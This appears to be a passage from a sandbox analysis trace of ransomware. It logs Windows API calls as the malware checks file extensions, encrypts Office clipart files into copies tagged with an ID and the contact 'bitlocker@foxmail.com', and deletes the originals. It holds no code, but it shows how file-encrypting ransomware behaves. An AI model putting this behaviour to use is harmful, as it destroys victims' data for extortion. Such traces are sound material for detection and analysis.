[0186.028] lstrlenW (lpString=".doc") returned 4 [0186.028] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.028] lstrlenW (lpString=".docx") returned 5 [0186.028] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0186.028] lstrlenW (lpString=".pdf") returned 4 [0186.028] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.028] lstrlenW (lpString=".xls") returned 4 [0186.028] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.028] lstrlenW (lpString=".xlsx") returned 5 [0186.028] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0186.028] lstrlenW (lpString=".ppt") returned 4 [0186.028] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0186.028] lstrlenW (lpString=".zip") returned 4 [0186.028] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.028] lstrlenW (lpString=".rar") returned 4 [0186.028] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.028] lstrlenW (lpString=".bz2") returned 4 [0186.028] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.028] lstrlenW (lpString=".7z") returned 3 [0186.028] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0186.028] lstrlenW (lpString=".dbf") returned 4 [0186.028] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0186.029] lstrlenW (lpString=".1cd") returned 4 [0186.029] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0186.029] lstrlenW (lpString=".jpg") returned 4 [0186.029] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0186.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0186.029] lstrlenW (lpString=".doc") returned 4 [0186.029] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.029] lstrlenW (lpString=".docx") returned 5 [0186.029] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0186.029] lstrlenW (lpString=".pdf") returned 4 [0186.029] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.029] lstrlenW (lpString=".xls") returned 4 [0186.029] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.029] lstrlenW (lpString=".xlsx") returned 5 [0186.029] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0186.029] lstrlenW (lpString=".ppt") returned 4 [0186.029] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0186.029] lstrlenW (lpString=".zip") returned 4 [0186.029] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.029] lstrlenW (lpString=".rar") returned 4 [0186.029] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.029] lstrlenW (lpString=".bz2") returned 4 [0186.029] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.029] lstrlenW (lpString=".7z") returned 3 [0186.029] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0186.030] lstrlenW (lpString=".dbf") returned 4 [0186.030] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0186.030] lstrlenW (lpString=".1cd") returned 4 [0186.030] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0186.030] lstrlenW (lpString=".jpg") returned 4 [0186.030] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.030] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0186.030] lstrlenW (lpString="BS00100_.WMF") returned 12 [0186.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0186.030] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2378) returned 1 [0186.030] CloseHandle (hObject=0x1c8) returned 1 [0186.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf")) returned 0x20 [0186.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0186.031] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.031] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0186.031] GetLastError () returned 0x0 [0186.031] ReadFile (in: hFile=0x1c8, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x94a, lpOverlapped=0x0) returned 1 [0186.076] WriteFile (in: hFile=0x1fc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x950, lpOverlapped=0x0) returned 1 [0186.076] ReadFile (in: hFile=0x1c8, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0186.077] WriteFile (in: hFile=0x1fc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0186.077] SetEndOfFile (hFile=0x1fc) returned 1 [0186.077] CloseHandle (hObject=0x1fc) returned 1 [0186.077] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.077] SetEndOfFile (hFile=0x1c8) returned 1 [0186.078] CloseHandle (hObject=0x1c8) returned 1 [0186.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.078] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf")) returned 1 [0186.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0186.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0186.078] lstrlenW (lpString=".doc") returned 4 [0186.078] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.078] lstrlenW (lpString=".docx") returned 5 [0186.078] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.078] lstrlenW (lpString=".pdf") returned 4 [0186.078] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.078] lstrlenW (lpString=".xls") returned 4 [0186.078] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.078] lstrlenW (lpString=".xlsx") returned 5 [0186.078] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.078] lstrlenW (lpString=".ppt") returned 4 [0186.078] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0186.078] lstrlenW (lpString=".zip") returned 4 [0186.078] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.078] lstrlenW (lpString=".rar") returned 4 [0186.078] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.079] lstrlenW (lpString=".bz2") returned 4 [0186.079] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.079] lstrlenW (lpString=".7z") returned 3 [0186.079] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0186.079] lstrlenW (lpString=".dbf") returned 4 [0186.079] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0186.079] lstrlenW (lpString=".1cd") returned 4 [0186.079] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0186.079] lstrlenW (lpString=".jpg") returned 4 [0186.079] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0186.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0186.079] lstrlenW (lpString=".doc") returned 4 [0186.079] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.079] lstrlenW (lpString=".docx") returned 5 [0186.079] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.079] lstrlenW (lpString=".pdf") returned 4 [0186.079] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.079] lstrlenW (lpString=".xls") returned 4 [0186.079] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.079] lstrlenW (lpString=".xlsx") returned 5 [0186.079] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.079] lstrlenW (lpString=".ppt") returned 4 [0186.079] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0186.079] lstrlenW (lpString=".zip") returned 4 [0186.079] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.079] lstrlenW (lpString=".rar") returned 4 [0186.079] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.080] lstrlenW (lpString=".bz2") returned 4 [0186.080] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.080] lstrlenW (lpString=".7z") returned 3 [0186.080] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0186.080] lstrlenW (lpString=".dbf") returned 4 [0186.080] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0186.080] lstrlenW (lpString=".1cd") returned 4 [0186.080] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0186.080] lstrlenW (lpString=".jpg") returned 4 [0186.080] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.080] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0186.080] lstrlenW (lpString="BS00174_.WMF") returned 12 [0186.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0186.080] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=8366) returned 1 [0186.080] CloseHandle (hObject=0x1c8) returned 1 [0186.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf")) returned 0x20 [0186.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0186.081] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.081] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0186.081] GetLastError () returned 0x0 [0186.082] ReadFile (in: hFile=0x1c8, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x20ae, lpOverlapped=0x0) returned 1 [0186.100] WriteFile (in: hFile=0x1fc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x20b0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x20b0, lpOverlapped=0x0) returned 1 [0186.101] ReadFile (in: hFile=0x1c8, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0186.101] WriteFile (in: hFile=0x1fc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0186.101] SetEndOfFile (hFile=0x1fc) returned 1 [0186.101] CloseHandle (hObject=0x1fc) returned 1 [0186.101] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.102] SetEndOfFile (hFile=0x1c8) returned 1 [0186.102] CloseHandle (hObject=0x1c8) returned 1 [0186.102] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.102] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf")) returned 1 [0186.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0186.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0186.103] lstrlenW (lpString=".doc") returned 4 [0186.103] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.103] lstrlenW (lpString=".docx") returned 5 [0186.103] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.103] lstrlenW (lpString=".pdf") returned 4 [0186.103] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.103] lstrlenW (lpString=".xls") returned 4 [0186.103] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.103] lstrlenW (lpString=".xlsx") returned 5 [0186.103] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.103] lstrlenW (lpString=".ppt") returned 4 [0186.103] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0186.103] lstrlenW (lpString=".zip") returned 4 [0186.103] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.103] lstrlenW (lpString=".rar") returned 4 [0186.103] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.103] lstrlenW (lpString=".bz2") returned 4 [0186.103] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.103] lstrlenW (lpString=".7z") returned 3 [0186.103] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0186.103] lstrlenW (lpString=".dbf") returned 4 [0186.103] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0186.103] lstrlenW (lpString=".1cd") returned 4 [0186.103] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0186.104] lstrlenW (lpString=".jpg") returned 4 [0186.104] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0186.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0186.104] lstrlenW (lpString=".doc") returned 4 [0186.104] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.104] lstrlenW (lpString=".docx") returned 5 [0186.104] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.104] lstrlenW (lpString=".pdf") returned 4 [0186.104] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.104] lstrlenW (lpString=".xls") returned 4 [0186.104] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.104] lstrlenW (lpString=".xlsx") returned 5 [0186.104] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.104] lstrlenW (lpString=".ppt") returned 4 [0186.104] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0186.104] lstrlenW (lpString=".zip") returned 4 [0186.104] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.104] lstrlenW (lpString=".rar") returned 4 [0186.104] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.104] lstrlenW (lpString=".bz2") returned 4 [0186.104] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.104] lstrlenW (lpString=".7z") returned 3 [0186.104] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0186.104] lstrlenW (lpString=".dbf") returned 4 [0186.104] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0186.104] lstrlenW (lpString=".1cd") returned 4 [0186.104] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0186.105] lstrlenW (lpString=".jpg") returned 4 [0186.105] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.105] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0186.105] lstrlenW (lpString="BS00200_.WMF") returned 12 [0186.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0186.105] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=3104) returned 1 [0186.105] CloseHandle (hObject=0x1c8) returned 1 [0186.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf")) returned 0x20 [0186.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0186.105] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.106] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0186.106] GetLastError () returned 0x0 [0186.106] ReadFile (in: hFile=0x1c8, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0xc20, lpOverlapped=0x0) returned 1 [0186.123] WriteFile (in: hFile=0x1fc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xc30, lpOverlapped=0x0) returned 1 [0186.123] ReadFile (in: hFile=0x1c8, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0186.124] WriteFile (in: hFile=0x1fc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0186.124] SetEndOfFile (hFile=0x1fc) returned 1 [0186.124] CloseHandle (hObject=0x1fc) returned 1 [0186.124] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.124] SetEndOfFile (hFile=0x1c8) returned 1 [0186.125] CloseHandle (hObject=0x1c8) returned 1 [0186.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.125] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf")) returned 1 [0186.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0186.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0186.125] lstrlenW (lpString=".doc") returned 4 [0186.125] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.125] lstrlenW (lpString=".docx") returned 5 [0186.125] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.125] lstrlenW (lpString=".pdf") returned 4 [0186.125] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.125] lstrlenW (lpString=".xls") returned 4 [0186.126] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.126] lstrlenW (lpString=".xlsx") returned 5 [0186.126] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.126] lstrlenW (lpString=".ppt") returned 4 [0186.126] lstrcmpiW 